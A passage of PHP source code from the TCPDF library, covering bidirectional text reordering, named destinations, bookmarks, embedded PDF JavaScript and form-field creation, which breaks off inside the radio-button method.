($chardata2 as $key => $value) { if ($value['char'] === false) { unset($chardata2[$key]); } } $chardata = array_values($chardata2); $numchars = count($chardata); unset($chardata2); unset($arabicarr); unset($laaletter); unset($charAL); } // L2. From the highest level found in the text to the lowest odd level on each line, including intermediate levels not actually present in the text, reverse any contiguous sequence of characters that are at that level or higher. for ($j=$maxlevel; $j > 0; $j--) { $ordarray = Array(); $revarr = Array(); $onlevel = false; for ($i=0; $i < $numchars; ++$i) { if ($chardata[$i]['level'] >= $j) { $onlevel = true; if (isset($this->unicode->uni_mirror[$chardata[$i]['char']])) { // L4. A character is depicted by a mirrored glyph if and only if (a) the resolved directionality of that character is R, and (b) the Bidi_Mirrored property value of that character is true. $chardata[$i]['char'] = $this->unicode->uni_mirror[$chardata[$i]['char']]; } $revarr[] = $chardata[$i]; } else { if ($onlevel) { $revarr = array_reverse($revarr); $ordarray = array_merge($ordarray, $revarr); $revarr = Array(); $onlevel = false; } $ordarray[] = $chardata[$i]; } } if ($onlevel) { $revarr = array_reverse($revarr); $ordarray = array_merge($ordarray, $revarr); } $chardata = $ordarray; } $ordarray = array(); for ($i=0; $i < $numchars; ++$i) { $ordarray[] = $chardata[$i]['char']; // store char values for subsetting $this->CurrentFont['subsetchars'][$chardata[$i]['char']] = true; } // update font subsetchars $this->setFontSubBuffer($this->CurrentFont['fontkey'], 'subsetchars', $this->CurrentFont['subsetchars']); return $ordarray; } // END OF BIDIRECTIONAL TEXT SECTION ------------------- /** * Encode a name object. * @param $name (string) Name object to encode. * @return (string) Encoded name object. * @protected * @author Nicola Asuni * @since 5.9.097 (2011-06-23) */ protected function encodeNameObject($name) { $escname = ''; $length = strlen($name); for ($i = 0; $i < $length; ++$i) { $chr = $name[$i]; if (preg_match('/[0-9a-zA-Z]/', $chr) == 1) { $escname .= $chr; } else { $escname .= sprintf('#%02X', ord($chr)); } } return $escname; } /** * Add a Named Destination. * NOTE: destination names are unique, so only last entry will be saved. * @param $name (string) Destination name. * @param $y (float) Y position in user units of the destiantion on the selected page (default = -1 = current position; 0 = page start;). * @param $page (int) Target page number (leave empty for current page). * @param $x (float) X position in user units of the destiantion on the selected page (default = -1 = current position;). * @return (string) Stripped named destination identifier or false in case of error. * @public * @author Christian Deligant, Nicola Asuni * @since 5.9.097 (2011-06-23) */ public function setDestination($name, $y=-1, $page='', $x=-1) { // remove unsupported characters $name = $this->encodeNameObject($name); if ($this->empty_string($name)) { return false; } if ($y == -1) { $y = $this->GetY(); } elseif ($y < 0) { $y = 0; } elseif ($y > $this->h) { $y = $this->h; } if ($x == -1) { $x = $this->GetX(); } elseif ($x < 0) { $x = 0; } elseif ($x > $this->w) { $x = $this->w; } if (empty($page)) { $page = $this->PageNo(); if (empty($page)) { return; } } $this->dests[$name] = array('x' => $x, 'y' => $y, 'p' => $page); return $name; } /** * Return the Named Destination array. * @return (array) Named Destination array. * @public * @author Nicola Asuni * @since 5.9.097 (2011-06-23) */ public function getDestination() { return $this->dests; } /** * Insert Named Destinations. * @protected * @author Johannes G�ntert, Nicola Asuni * @since 5.9.098 (2011-06-23) */ protected function _putdests() { if (empty($this->dests)) { return; } $this->n_dests = $this->_newobj(); $out = ' <<'; foreach($this->dests as $name => $o) { $out .= ' /'.$name.' '.sprintf('[%u 0 R /XYZ %F %F null]', $this->page_obj_id[($o['p'])], ($o['x'] * $this->k), ($this->pagedim[$o['p']]['h'] - ($o['y'] * $this->k))); } $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); } /** * Adds a bookmark - alias for Bookmark(). * @param $txt (string) Bookmark description. * @param $level (int) Bookmark level (minimum value is 0). * @param $y (float) Y position in user units of the bookmark on the selected page (default = -1 = current position; 0 = page start;). * @param $page (int) Target page number (leave empty for current page). * @param $style (string) Font style: B = Bold, I = Italic, BI = Bold + Italic. * @param $color (array) RGB color array (values from 0 to 255). * @param $x (float) X position in user units of the bookmark on the selected page (default = -1 = current position;). * @param $link (mixed) URL, or numerical link ID, or named destination (# character followed by the destination name), or embedded file (* character followed by the file name). * @public */ public function setBookmark($txt, $level=0, $y=-1, $page='', $style='', $color=array(0,0,0), $x=-1, $link='') { $this->Bookmark($txt, $level, $y, $page, $style, $color, $x, $link); } /** * Adds a bookmark. * @param $txt (string) Bookmark description. * @param $level (int) Bookmark level (minimum value is 0). * @param $y (float) Y position in user units of the bookmark on the selected page (default = -1 = current position; 0 = page start;). * @param $page (int) Target page number (leave empty for current page). * @param $style (string) Font style: B = Bold, I = Italic, BI = Bold + Italic. * @param $color (array) RGB color array (values from 0 to 255). * @param $x (float) X position in user units of the bookmark on the selected page (default = -1 = current position;). * @param $link (mixed) URL, or numerical link ID, or named destination (# character followed by the destination name), or embedded file (* character followed by the file name). * @public * @since 2.1.002 (2008-02-12) */ public function Bookmark($txt, $level=0, $y=-1, $page='', $style='', $color=array(0,0,0), $x=-1, $link='') { if ($level < 0) { $level = 0; } if (isset($this->outlines[0])) { $lastoutline = end($this->outlines); $maxlevel = $lastoutline['l'] + 1; } else { $maxlevel = 0; } if ($level > $maxlevel) { $level = $maxlevel; } if ($y == -1) { $y = $this->GetY(); } elseif ($y < 0) { $y = 0; } elseif ($y > $this->h) { $y = $this->h; } if ($x == -1) { $x = $this->GetX(); } elseif ($x < 0) { $x = 0; } elseif ($x > $this->w) { $x = $this->w; } if (empty($page)) { $page = $this->PageNo(); if (empty($page)) { return; } } $this->outlines[] = array('t' => $txt, 'l' => $level, 'x' => $x, 'y' => $y, 'p' => $page, 's' => strtoupper($style), 'c' => $color, 'u' => $link); } /** * Sort bookmarks for page and key. * @protected * @since 5.9.119 (2011-09-19) */ protected function sortBookmarks() { // get sorting columns $outline_p = array(); $outline_y = array(); foreach ($this->outlines as $key => $row) { $outline_p[$key] = $row['p']; $outline_k[$key] = $key; } // sort outlines by page and original position array_multisort($outline_p, SORT_NUMERIC, SORT_ASC, $outline_k, SORT_NUMERIC, SORT_ASC, $this->outlines); } /** * Create a bookmark PDF string. * @protected * @author Olivier Plathey, Nicola Asuni * @since 2.1.002 (2008-02-12) */ protected function _putbookmarks() { $nb = count($this->outlines); if ($nb == 0) { return; } // sort bookmarks $this->sortBookmarks(); $lru = array(); $level = 0; foreach ($this->outlines as $i => $o) { if ($o['l'] > 0) { $parent = $lru[($o['l'] - 1)]; //Set parent and last pointers $this->outlines[$i]['parent'] = $parent; $this->outlines[$parent]['last'] = $i; if ($o['l'] > $level) { //Level increasing: set first pointer $this->outlines[$parent]['first'] = $i; } } else { $this->outlines[$i]['parent'] = $nb; } if (($o['l'] <= $level) AND ($i > 0)) { //Set prev and next pointers $prev = $lru[$o['l']]; $this->outlines[$prev]['next'] = $i; $this->outlines[$i]['prev'] = $prev; } $lru[$o['l']] = $i; $level = $o['l']; } //Outline items $n = $this->n + 1; $nltags = '/<br[\s]?\/>|<\/(blockquote|dd|dl|div|dt|h1|h2|h3|h4|h5|h6|hr|li|ol|p|pre|ul|tcpdf|table|tr|td)>/si'; foreach ($this->outlines as $i => $o) { $oid = $this->_newobj(); // covert HTML title to string $title = preg_replace($nltags, "\n", $o['t']); $title = preg_replace("/[\r]+/si", '', $title); $title = preg_replace("/[\n]+/si", "\n", $title); $title = strip_tags($title); $title = $this->stringTrim($title); $out = '<</Title '.$this->_textstring($title, $oid); $out .= ' /Parent '.($n + $o['parent']).' 0 R'; if (isset($o['prev'])) { $out .= ' /Prev '.($n + $o['prev']).' 0 R'; } if (isset($o['next'])) { $out .= ' /Next '.($n + $o['next']).' 0 R'; } if (isset($o['first'])) { $out .= ' /First '.($n + $o['first']).' 0 R'; } if (isset($o['last'])) { $out .= ' /Last '.($n + $o['last']).' 0 R'; } if (isset($o['u']) AND !empty($o['u'])) { // link if (is_string($o['u'])) { if ($o['u'][0] == '#') { // internal destination $out .= ' /Dest /'.$this->encodeNameObject(substr($o['u'], 1)); } elseif ($o['u'][0] == '%') { // embedded PDF file $filename = basename(substr($o['u'], 1)); $out .= ' /A <</S /GoToE /D [0 /Fit] /NewWindow true /T << /R /C /P '.($o['p'] - 1).' /A '.$this->embeddedfiles[$filename]['a'].' >> >>'; } elseif ($o['u'][0] == '*') { // embedded generic file $filename = basename(substr($o['u'], 1)); $jsa = 'var D=event.target.doc;var MyData=D.dataObjects;for (var i in MyData) if (MyData[i].path=="'.$filename.'") D.exportDataObject( { cName : MyData[i].name, nLaunch : 2});'; $out .= ' /A <</S /JavaScript /JS '.$this->_textstring($jsa, $oid).'>>'; } else { // external URI link $out .= ' /A <</S /URI /URI '.$this->_datastring($this->unhtmlentities($o['u']), $oid).'>>'; } } elseif (isset($this->links[$o['u']])) { // internal link ID $l = $this->links[$o['u']]; if (isset($this->page_obj_id[($l[0])])) { $out .= sprintf(' /Dest [%u 0 R /XYZ 0 %F null]', $this->page_obj_id[($l[0])], ($this->pagedim[$l[0]]['h'] - ($l[1] * $this->k))); } } } elseif (isset($this->page_obj_id[($o['p'])])) { // link to a page $out .= ' '.sprintf('/Dest [%u 0 R /XYZ %F %F null]', $this->page_obj_id[($o['p'])], ($o['x'] * $this->k), ($this->pagedim[$o['p']]['h'] - ($o['y'] * $this->k))); } // set font style $style = 0; if (!empty($o['s'])) { // bold if (strpos($o['s'], 'B') !== false) { $style |= 2; } // oblique if (strpos($o['s'], 'I') !== false) { $style |= 1; } } $out .= sprintf(' /F %d', $style); // set bookmark color if (isset($o['c']) AND is_array($o['c']) AND (count($o['c']) == 3)) { $color = array_values($o['c']); $out .= sprintf(' /C [%F %F %F]', ($color[0] / 255), ($color[1] / 255), ($color[2] / 255)); } else { // black $out .= ' /C [0.0 0.0 0.0]'; } $out .= ' /Count 0'; // normally closed item $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); } //Outline root $this->OutlineRoot = $this->_newobj(); $this->_out('<< /Type /Outlines /First '.$n.' 0 R /Last '.($n + $lru[0]).' 0 R >>'."\n".'endobj'); } // --- JAVASCRIPT ------------------------------------------------------ /** * Adds a javascript * @param $script (string) Javascript code * @public * @author Johannes G�ntert, Nicola Asuni * @since 2.1.002 (2008-02-12) */ public function IncludeJS($script) { $this->javascript .= $script; } /** * Adds a javascript object and return object ID * @param $script (string) Javascript code * @param $onload (boolean) if true executes this object when opening the document * @return int internal object ID * @public * @author Nicola Asuni * @since 4.8.000 (2009-09-07) */ public function addJavascriptObject($script, $onload=false) { if ($this->pdfa_mode) { // javascript is not allowed in PDF/A mode return false; } ++$this->n; $this->js_objects[$this->n] = array('n' => $this->n, 'js' => $script, 'onload' => $onload); return $this->n; } /** * Create a javascript PDF string. * @protected * @author Johannes G�ntert, Nicola Asuni * @since 2.1.002 (2008-02-12) */ protected function _putjavascript() { if ($this->pdfa_mode OR (empty($this->javascript) AND empty($this->js_objects))) { return; } if (strpos($this->javascript, 'this.addField') > 0) { if (!$this->ur['enabled']) { //$this->setUserRights(); } // the following two lines are used to avoid form fields duplication after saving // The addField method only works when releasing user rights (UR3) $jsa = sprintf("ftcpdfdocsaved=this.addField('%s','%s',%d,[%F,%F,%F,%F]);", 'tcpdfdocsaved', 'text', 0, 0, 1, 0, 1); $jsb = "getField('tcpdfdocsaved').value='saved';"; $this->javascript = $jsa."\n".$this->javascript."\n".$jsb; } // name tree for javascript $this->n_js = '<< /Names ['; if (!empty($this->javascript)) { $this->n_js .= ' (EmbeddedJS) '.($this->n + 1).' 0 R'; } if (!empty($this->js_objects)) { foreach ($this->js_objects as $key => $val) { if ($val['onload']) { $this->n_js .= ' (JS'.$key.') '.$key.' 0 R'; } } } $this->n_js .= ' ] >>'; // default Javascript object if (!empty($this->javascript)) { $obj_id = $this->_newobj(); $out = '<< /S /JavaScript'; $out .= ' /JS '.$this->_textstring($this->javascript, $obj_id); $out .= ' >>'; $out .= "\n".'endobj'; $this->_out($out); } // additional Javascript objects if (!empty($this->js_objects)) { foreach ($this->js_objects as $key => $val) { $out = $this->_getobj($key)."\n".' << /S /JavaScript /JS '.$this->_textstring($val['js'], $key).' >>'."\n".'endobj'; $this->_out($out); } } } /** * Convert color to javascript color. * @param $color (string) color name or "#RRGGBB" * @protected * @author Denis Van Nuffelen, Nicola Asuni * @since 2.1.002 (2008-02-12) */ protected function _JScolor($color) { static $aColors = array('transparent', 'black', 'white', 'red', 'green', 'blue', 'cyan', 'magenta', 'yellow', 'dkGray', 'gray', 'ltGray'); if (substr($color,0,1) == '#') { return sprintf("['RGB',%F,%F,%F]", hexdec(substr($color,1,2))/255, hexdec(substr($color,3,2))/255, hexdec(substr($color,5,2))/255); } if (!in_array($color,$aColors)) { $this->Error('Invalid color: '.$color); } return 'color.'.$color; } /** * Adds a javascript form field. * @param $type (string) field type * @param $name (string) field name * @param $x (int) horizontal position * @param $y (int) vertical position * @param $w (int) width * @param $h (int) height * @param $prop (array) javascript field properties. Possible values are described on official Javascript for Acrobat API reference. * @protected * @author Denis Van Nuffelen, Nicola Asuni * @since 2.1.002 (2008-02-12) */ protected function _addfield($type, $name, $x, $y, $w, $h, $prop) { if ($this->rtl) { $x = $x - $w; } // the followind avoid fields duplication after saving the document $this->javascript .= "if (getField('tcpdfdocsaved').value != 'saved') {"; $k = $this->k; $this->javascript .= sprintf("f".$name."=this.addField('%s','%s',%u,[%F,%F,%F,%F]);", $name, $type, $this->PageNo()-1, $x*$k, ($this->h-$y)*$k+1, ($x+$w)*$k, ($this->h-$y-$h)*$k+1)."\n"; $this->javascript .= 'f'.$name.'.textSize='.$this->FontSizePt.";\n"; while (list($key, $val) = each($prop)) { if (strcmp(substr($key, -5), 'Color') == 0) { $val = $this->_JScolor($val); } else { $val = "'".$val."'"; } $this->javascript .= 'f'.$name.'.'.$key.'='.$val.";\n"; } if ($this->rtl) { $this->x -= $w; } else { $this->x += $w; } $this->javascript .= '}'; } // --- FORM FIELDS ----------------------------------------------------- /** * Convert JavaScript form fields properties array to Annotation Properties array. * @param $prop (array) javascript field properties. Possible values are described on official Javascript for Acrobat API reference. * @return array of annotation properties * @protected * @author Nicola Asuni * @since 4.8.000 (2009-09-06) */ protected function getAnnotOptFromJSProp($prop) { if (isset($prop['aopt']) AND is_array($prop['aopt'])) { // the annotation options area lready defined return $prop['aopt']; } $opt = array(); // value to be returned // alignment: Controls how the text is laid out within the text field. if (isset($prop['alignment'])) { switch ($prop['alignment']) { case 'left': { $opt['q'] = 0; break; } case 'center': { $opt['q'] = 1; break; } case 'right': { $opt['q'] = 2; break; } default: { $opt['q'] = ($this->rtl)?2:0; break; } } } // lineWidth: Specifies the thickness of the border when stroking the perimeter of a field's rectangle. if (isset($prop['lineWidth'])) { $linewidth = intval($prop['lineWidth']); } else { $linewidth = 1; } // borderStyle: The border style for a field. if (isset($prop['borderStyle'])) { switch ($prop['borderStyle']) { case 'border.d': case 'dashed': { $opt['border'] = array(0, 0, $linewidth, array(3, 2)); $opt['bs'] = array('w'=>$linewidth, 's'=>'D', 'd'=>array(3, 2)); break; } case 'border.b': case 'beveled': { $opt['border'] = array(0, 0, $linewidth); $opt['bs'] = array('w'=>$linewidth, 's'=>'B'); break; } case 'border.i': case 'inset': { $opt['border'] = array(0, 0, $linewidth); $opt['bs'] = array('w'=>$linewidth, 's'=>'I'); break; } case 'border.u': case 'underline': { $opt['border'] = array(0, 0, $linewidth); $opt['bs'] = array('w'=>$linewidth, 's'=>'U'); break; } case 'border.s': case 'solid': { $opt['border'] = array(0, 0, $linewidth); $opt['bs'] = array('w'=>$linewidth, 's'=>'S'); break; } default: { break; } } } if (isset($prop['border']) AND is_array($prop['border'])) { $opt['border'] = $prop['border']; } if (!isset($opt['mk'])) { $opt['mk'] = array(); } if (!isset($opt['mk']['if'])) { $opt['mk']['if'] = array(); } $opt['mk']['if']['a'] = array(0.5, 0.5); // buttonAlignX: Controls how space is distributed from the left of the button face with respect to the icon. if (isset($prop['buttonAlignX'])) { $opt['mk']['if']['a'][0] = $prop['buttonAlignX']; } // buttonAlignY: Controls how unused space is distributed from the bottom of the button face with respect to the icon. if (isset($prop['buttonAlignY'])) { $opt['mk']['if']['a'][1] = $prop['buttonAlignY']; } // buttonFitBounds: If true, the extent to which the icon may be scaled is set to the bounds of the button field. if (isset($prop['buttonFitBounds']) AND ($prop['buttonFitBounds'] == 'true')) { $opt['mk']['if']['fb'] = true; } // buttonScaleHow: Controls how the icon is scaled (if necessary) to fit inside the button face. if (isset($prop['buttonScaleHow'])) { switch ($prop['buttonScaleHow']) { case 'scaleHow.proportional': { $opt['mk']['if']['s'] = 'P'; break; } case 'scaleHow.anamorphic': { $opt['mk']['if']['s'] = 'A'; break; } } } // buttonScaleWhen: Controls when an icon is scaled to fit inside the button face. if (isset($prop['buttonScaleWhen'])) { switch ($prop['buttonScaleWhen']) { case 'scaleWhen.always': { $opt['mk']['if']['sw'] = 'A'; break; } case 'scaleWhen.never': { $opt['mk']['if']['sw'] = 'N'; break; } case 'scaleWhen.tooBig': { $opt['mk']['if']['sw'] = 'B'; break; } case 'scaleWhen.tooSmall': { $opt['mk']['if']['sw'] = 'S'; break; } } } // buttonPosition: Controls how the text and the icon of the button are positioned with respect to each other within the button face. if (isset($prop['buttonPosition'])) { switch ($prop['buttonPosition']) { case 0: case 'position.textOnly': { $opt['mk']['tp'] = 0; break; } case 1: case 'position.iconOnly': { $opt['mk']['tp'] = 1; break; } case 2: case 'position.iconTextV': { $opt['mk']['tp'] = 2; break; } case 3: case 'position.textIconV': { $opt['mk']['tp'] = 3; break; } case 4: case 'position.iconTextH': { $opt['mk']['tp'] = 4; break; } case 5: case 'position.textIconH': { $opt['mk']['tp'] = 5; break; } case 6: case 'position.overlay': { $opt['mk']['tp'] = 6; break; } } } // fillColor: Specifies the background color for a field. if (isset($prop['fillColor'])) { if (is_array($prop['fillColor'])) { $opt['mk']['bg'] = $prop['fillColor']; } else { $opt['mk']['bg'] = $this->convertHTMLColorToDec($prop['fillColor']); } } // strokeColor: Specifies the stroke color for a field that is used to stroke the rectangle of the field with a line as large as the line width. if (isset($prop['strokeColor'])) { if (is_array($prop['strokeColor'])) { $opt['mk']['bc'] = $prop['strokeColor']; } else { $opt['mk']['bc'] = $this->convertHTMLColorToDec($prop['strokeColor']); } } // rotation: The rotation of a widget in counterclockwise increments. if (isset($prop['rotation'])) { $opt['mk']['r'] = $prop['rotation']; } // charLimit: Limits the number of characters that a user can type into a text field. if (isset($prop['charLimit'])) { $opt['maxlen'] = intval($prop['charLimit']); } if (!isset($ff)) { $ff = 0; // default value } // readonly: The read-only characteristic of a field. If a field is read-only, the user can see the field but cannot change it. if (isset($prop['readonly']) AND ($prop['readonly'] == 'true')) { $ff += 1 << 0; } // required: Specifies whether a field requires a value. if (isset($prop['required']) AND ($prop['required'] == 'true')) { $ff += 1 << 1; } // multiline: Controls how text is wrapped within the field. if (isset($prop['multiline']) AND ($prop['multiline'] == 'true')) { $ff += 1 << 12; } // password: Specifies whether the field should display asterisks when data is entered in the field. if (isset($prop['password']) AND ($prop['password'] == 'true')) { $ff += 1 << 13; } // NoToggleToOff: If set, exactly one radio button shall be selected at all times; selecting the currently selected button has no effect. if (isset($prop['NoToggleToOff']) AND ($prop['NoToggleToOff'] == 'true')) { $ff += 1 << 14; } // Radio: If set, the field is a set of radio buttons. if (isset($prop['Radio']) AND ($prop['Radio'] == 'true')) { $ff += 1 << 15; } // Pushbutton: If set, the field is a pushbutton that does not retain a permanent value. if (isset($prop['Pushbutton']) AND ($prop['Pushbutton'] == 'true')) { $ff += 1 << 16; } // Combo: If set, the field is a combo box; if clear, the field is a list box. if (isset($prop['Combo']) AND ($prop['Combo'] == 'true')) { $ff += 1 << 17; } // editable: Controls whether a combo box is editable. if (isset($prop['editable']) AND ($prop['editable'] == 'true')) { $ff += 1 << 18; } // Sort: If set, the field's option items shall be sorted alphabetically. if (isset($prop['Sort']) AND ($prop['Sort'] == 'true')) { $ff += 1 << 19; } // fileSelect: If true, sets the file-select flag in the Options tab of the text field (Field is Used for File Selection). if (isset($prop['fileSelect']) AND ($prop['fileSelect'] == 'true')) { $ff += 1 << 20; } // multipleSelection: If true, indicates that a list box allows a multiple selection of items. if (isset($prop['multipleSelection']) AND ($prop['multipleSelection'] == 'true')) { $ff += 1 << 21; } // doNotSpellCheck: If true, spell checking is not performed on this editable text field. if (isset($prop['doNotSpellCheck']) AND ($prop['doNotSpellCheck'] == 'true')) { $ff += 1 << 22; } // doNotScroll: If true, the text field does not scroll and the user, therefore, is limited by the rectangular region designed for the field. if (isset($prop['doNotScroll']) AND ($prop['doNotScroll'] == 'true')) { $ff += 1 << 23; } // comb: If set to true, the field background is drawn as series of boxes (one for each character in the value of the field) and each character of the content is drawn within those boxes. The number of boxes drawn is determined from the charLimit property. It applies only to text fields. The setter will also raise if any of the following field properties are also set multiline, password, and fileSelect. A side-effect of setting this property is that the doNotScroll property is also set. if (isset($prop['comb']) AND ($prop['comb'] == 'true')) { $ff += 1 << 24; } // radiosInUnison: If false, even if a group of radio buttons have the same name and export value, they behave in a mutually exclusive fashion, like HTML radio buttons. if (isset($prop['radiosInUnison']) AND ($prop['radiosInUnison'] == 'true')) { $ff += 1 << 25; } // richText: If true, the field allows rich text formatting. if (isset($prop['richText']) AND ($prop['richText'] == 'true')) { $ff += 1 << 25; } // commitOnSelChange: Controls whether a field value is committed after a selection change. if (isset($prop['commitOnSelChange']) AND ($prop['commitOnSelChange'] == 'true')) { $ff += 1 << 26; } $opt['ff'] = $ff; // defaultValue: The default value of a field - that is, the value that the field is set to when the form is reset. if (isset($prop['defaultValue'])) { $opt['dv'] = $prop['defaultValue']; } $f = 4; // default value for annotation flags // readonly: The read-only characteristic of a field. If a field is read-only, the user can see the field but cannot change it. if (isset($prop['readonly']) AND ($prop['readonly'] == 'true')) { $f += 1 << 6; } // display: Controls whether the field is hidden or visible on screen and in print. if (isset($prop['display'])) { if ($prop['display'] == 'display.visible') { // } elseif ($prop['display'] == 'display.hidden') { $f += 1 << 1; } elseif ($prop['display'] == 'display.noPrint') { $f -= 1 << 2; } elseif ($prop['display'] == 'display.noView') { $f += 1 << 5; } } $opt['f'] = $f; // currentValueIndices: Reads and writes single or multiple values of a list box or combo box. if (isset($prop['currentValueIndices']) AND is_array($prop['currentValueIndices'])) { $opt['i'] = $prop['currentValueIndices']; } // value: The value of the field data that the user has entered. if (isset($prop['value'])) { if (is_array($prop['value'])) { $opt['opt'] = array(); foreach ($prop['value'] AS $key => $optval) { // exportValues: An array of strings representing the export values for the field. if (isset($prop['exportValues'][$key])) { $opt['opt'][$key] = array($prop['exportValues'][$key], $prop['value'][$key]); } else { $opt['opt'][$key] = $prop['value'][$key]; } } } else { $opt['v'] = $prop['value']; } } // richValue: This property specifies the text contents and formatting of a rich text field. if (isset($prop['richValue'])) { $opt['rv'] = $prop['richValue']; } // submitName: If nonempty, used during form submission instead of name. Only applicable if submitting in HTML format (that is, URL-encoded). if (isset($prop['submitName'])) { $opt['tm'] = $prop['submitName']; } // name: Fully qualified field name. if (isset($prop['name'])) { $opt['t'] = $prop['name']; } // userName: The user name (short description string) of the field. if (isset($prop['userName'])) { $opt['tu'] = $prop['userName']; } // highlight: Defines how a button reacts when a user clicks it. if (isset($prop['highlight'])) { switch ($prop['highlight']) { case 'none': case 'highlight.n': { $opt['h'] = 'N'; break; } case 'invert': case 'highlight.i': { $opt['h'] = 'i'; break; } case 'push': case 'highlight.p': { $opt['h'] = 'P'; break; } case 'outline': case 'highlight.o': { $opt['h'] = 'O'; break; } } } // Unsupported options: // - calcOrderIndex: Changes the calculation order of fields in the document. // - delay: Delays the redrawing of a field's appearance. // - defaultStyle: This property defines the default style attributes for the form field. // - style: Allows the user to set the glyph style of a check box or radio button. // - textColor, textFont, textSize return $opt; } /** * Set default properties for form fields. * @param $prop (array) javascript field properties. Possible values are described on official Javascript for Acrobat API reference. * @public * @author Nicola Asuni * @since 4.8.000 (2009-09-06) */ public function setFormDefaultProp($prop=array()) { $this->default_form_prop = $prop; } /** * Return the default properties for form fields. * @return array $prop javascript field properties. Possible values are described on official Javascript for Acrobat API reference. * @public * @author Nicola Asuni * @since 4.8.000 (2009-09-06) */ public function getFormDefaultProp() { return $this->default_form_prop; } /** * Creates a text field * @param $name (string) field name * @param $w (float) Width of the rectangle * @param $h (float) Height of the rectangle * @param $prop (array) javascript field properties. Possible values are described on official Javascript for Acrobat API reference. * @param $opt (array) annotation parameters. Possible values are described on official PDF32000_2008 reference. * @param $x (float) Abscissa of the upper-left corner of the rectangle * @param $y (float) Ordinate of the upper-left corner of the rectangle * @param $js (boolean) if true put the field using JavaScript (requires Acrobat Writer to be rendered). * @public * @author Nicola Asuni * @since 4.8.000 (2009-09-07) */ public function TextField($name, $w, $h, $prop=array(), $opt=array(), $x='', $y='', $js=false) { if ($x === '') { $x = $this->x; } if ($y === '') { $y = $this->y; } // check page for no-write regions and adapt page margins if necessary list($x, $y) = $this->checkPageRegions($h, $x, $y); if ($js) { $this->_addfield('text', $name, $x, $y, $w, $h, $prop); return; } // get default style $prop = array_merge($this->getFormDefaultProp(), $prop); // get annotation data $popt = $this->getAnnotOptFromJSProp($prop); // set default appearance stream $this->annotation_fonts[$this->CurrentFont['fontkey']] = $this->CurrentFont['i']; $fontstyle = sprintf('/F%d %F Tf %s', $this->CurrentFont['i'], $this->FontSizePt, $this->TextColor); $popt['da'] = $fontstyle; // build appearance stream $popt['ap'] = array(); $popt['ap']['n'] = '/Tx BMC q '.$fontstyle.' '; $text = ''; if (isset($prop['value']) AND !empty($prop['value'])) { $text = $prop['value']; } elseif (isset($opt['v']) AND !empty($opt['v'])) { $text = $opt['v']; } $tmpid = $this->startTemplate($w, $h, false); $align = ''; if (isset($popt['q'])) { switch ($popt['q']) { case 0: { $align = 'L'; break; } case 1: { $align = 'C'; break; } case 2: { $align = 'R'; break; } default: { $align = ''; break; } } } $this->MultiCell($w, $h, $text, 0, $align, false, 0, 0, 0, true, 0, false, true, 0, 'T', false); $this->endTemplate(); --$this->n; $popt['ap']['n'] .= $this->xobjects[$tmpid]['outdata']; unset($this->xobjects[$tmpid]); $popt['ap']['n'] .= 'Q EMC'; // merge options $opt = array_merge($popt, $opt); // remove some conflicting options unset($opt['bs']); // set remaining annotation data $opt['Subtype'] = 'Widget'; $opt['ft'] = 'Tx'; $opt['t'] = $name; // Additional annotation's parameters (check _putannotsobj() method): //$opt['f'] //$opt['as'] //$opt['bs'] //$opt['be'] //$opt['c'] //$opt['border'] //$opt['h'] //$opt['mk']; //$opt['mk']['r'] //$opt['mk']['bc']; //$opt['mk']['bg']; unset($opt['mk']['ca']); unset($opt['mk']['rc']); unset($opt['mk']['ac']); unset($opt['mk']['i']); unset($opt['mk']['ri']); unset($opt['mk']['ix']); unset($opt['mk']['if']); //$opt['mk']['if']['sw']; //$opt['mk']['if']['s']; //$opt['mk']['if']['a']; //$opt['mk']['if']['fb']; unset($opt['mk']['tp']); //$opt['tu'] //$opt['tm'] //$opt['ff'] //$opt['v'] //$opt['dv'] //$opt['a'] //$opt['aa'] //$opt['q'] $this->Annotation($x, $y, $w, $h, $name, $opt, 0); if ($this->rtl) { $this->x -= $w; } else { $this->x += $w; } } /** * Creates a RadioButton field. * @param $name (string) Field name. * @param $w (int) Width of the radio button. * @param $prop (array) Javascript field properties. Possible values are described on official Javascript for Acrobat API reference. * @param $opt (array) Annotation parameters. Possible values are described on official PDF32000_2008 reference. * @param $onvalue (string) Value to be returned if selected. * @param $checked (boolean) Define the initial state. * @param $x (float) Abscissa of the upper-left corner of the rectangle * @param $y (float) Ordinate of the upper-left corner of the rectangle * @param $js (boolean) If true put the field using JavaScript (requires Acrobat Writer to be rendered). * @public * @author Nicola Asuni * @since 4.8.000 (2009-09-07) */ public function RadioButton($name, $w, $prop=array(), $opt=array(), $onvalue='On', $checked=false, $x='', $y='', $js=false) { if ($x === '') { $x = $this->x; } if ($y === '') { $y = $this->y; } // check page for no-write regions and adapt page margins if necessary list($x, $y) = $this->checkPageRegions($w, $x, $y); if ($js) { $this->_addfield('radiobutton', $name, $x, $y, $w, $w, $prop); return; } if ($this->empty_string($onvalue)) { $onvalue = 'On'; } if ($checked) { $defval = $onvalue; } else { $defval = 'Off'; } // set font $font = 'zapfdingbats'; if ($this->pdfa_mode) { // all fonts must be embedded $font = 'pdfa'.$font; } $this->AddFont($font); $tmpfont = $this->getFontBuffer($font); // set data for parent group if (!isset($this->radiobutton_groups[$this->page])) { $this->radiobutton_groups[$this->page] = array(); } if (!isset($this->radiobutton_groups[$this->page][$name])) { $this->radiobutton_groups[$this->page][$name] = array(); ++$this->n; $this->radiobutton_groups[$this->page][$name]['n'] = $this->n; $this->radio_groups[] = $this->n; } $kid = ($this->n + 1); // save object ID to be added on Kids entry on parent object $this->radiobutton_groups[$this->page][$name][] = array('kid' => $kid, 'def' => $defval); // get default style $prop = array_merge($this->getFormDefaultProp(), $prop); $prop['NoToggleToOff'] = 'true'; $prop['Radio'] = 'true'; $prop['borderStyle'] = 'inset'; // get annotation data $popt = $this->getAnnotOptFromJSProp($prop); // set additional default options $this->annotation_fonts[$tmpfont['fontkey']] = $tmpfont['i']; $fontstyle = sprintf('/F%d %F Tf %s', $tmpfont['i'], $this->FontSizePt, $this->TextColor); $popt['da'] = $fontstyle; // build appearance stream $popt['ap'] = array(); $popt['ap']['n'] = array(); $fx = ((($w - $this->getAbsFontMeasure($tmpfont['cw'][108])) / 2) * $this->k); $fy = (($w - ((($tmpfont['desc']['Ascent'] - $tmpfont['desc']['Descent']) * $this->FontSizePt / 1000) / $this->k)) * $this->k); $popt['ap']['n'][$onvalue] = sprintf('q %s BT /F%d %F Tf %F %F Td ('.chr(108).') Tj ET Q', $this->TextColor, $tmpfont['i'], $this->FontSizePt, $fx, $fy); $popt['ap']['n']['Off'] = sprintf('q %s BT /F%d %F Tf %F %F Td 